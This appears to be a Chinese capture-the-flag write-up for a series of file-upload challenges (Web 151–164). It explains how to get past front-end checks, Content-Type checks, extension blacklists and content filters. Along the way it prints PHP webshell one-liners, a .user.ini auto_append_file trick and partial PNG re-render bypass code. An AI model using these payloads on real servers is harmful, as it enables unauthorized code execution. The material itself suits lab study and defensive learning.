目录
Web 151
考点:后端无验证,前端校验
查看源码可以发现只能上传
png
图片
修改为php
写一个php文件上传一句话木马
可以发现已经成功上传
查看上级目录发现可疑文件
查看flag.php文件内容得出flag
Web 152
考点:绕过前端校验
解题思路:
经过一系列的方法测试上题的解题方法并不适用于本题。直接改前端,后端会校验,文件不合格。那就抓包一下。
将Content-Type
内容修改成image/png
,重发,发现成功上传
剩下的步骤与151相同查看上级目录,发现flag.php,查看flag.php内容得到flag
Web 153
考点:文件后缀名,黑名单
利用上传user.ini进行文件上传绕过
解题过程:
上传一个含木马的图片
接着上传
.user.ini
内容为 auto_append_file=“xxx”
xxx为我们上传的文件名
。
这样就在每个php文件
上包含了我们的木马文件。
查看/upload目录下是否上传成功,木马上传成功
Web 154-155
考点:文件内容过滤,过滤关键字是php
上传一个图片木马,发现上传不了,经过一系列的尝试发现是对文件内容作了些过滤,过滤了php,所以采用简短的语句进行绕过
这一步和上题相似
发现已经上传成功
得到flag
Web 156-158
在前面的基础上过滤了
[]
那我们直接用{}
来代替
<?=eval($_POST{
1});?>
或者
那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
<?=system('tac ../f*')?>
Web159
过滤了括号,那就用反引号就可以啦
<?=`tac ../f*`?>
Web 160
考点:过滤了php,执行函数,反引号等
解题思路:
日志包含
过滤关键字是log
所以用拼接绕过
上传完.user.ini
和图片后
访问网站然后修改ua
头信息
Web 161
在160的基础上增加图片头即可,即 GIF89A
Web 162-163
目前了解有三种解法
一种是session包含
,一个是远程文件包含
,还有一种是data伪协议
,不过要把伪协议代码用取反
表示
伪协议
条件竞争-脚本
条件竞争-burpsuit
但是这几种方法我都没有出结果,悲伤…
Web 164
考点: png二次渲染
利用下方代码进行png二次渲染绕过
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y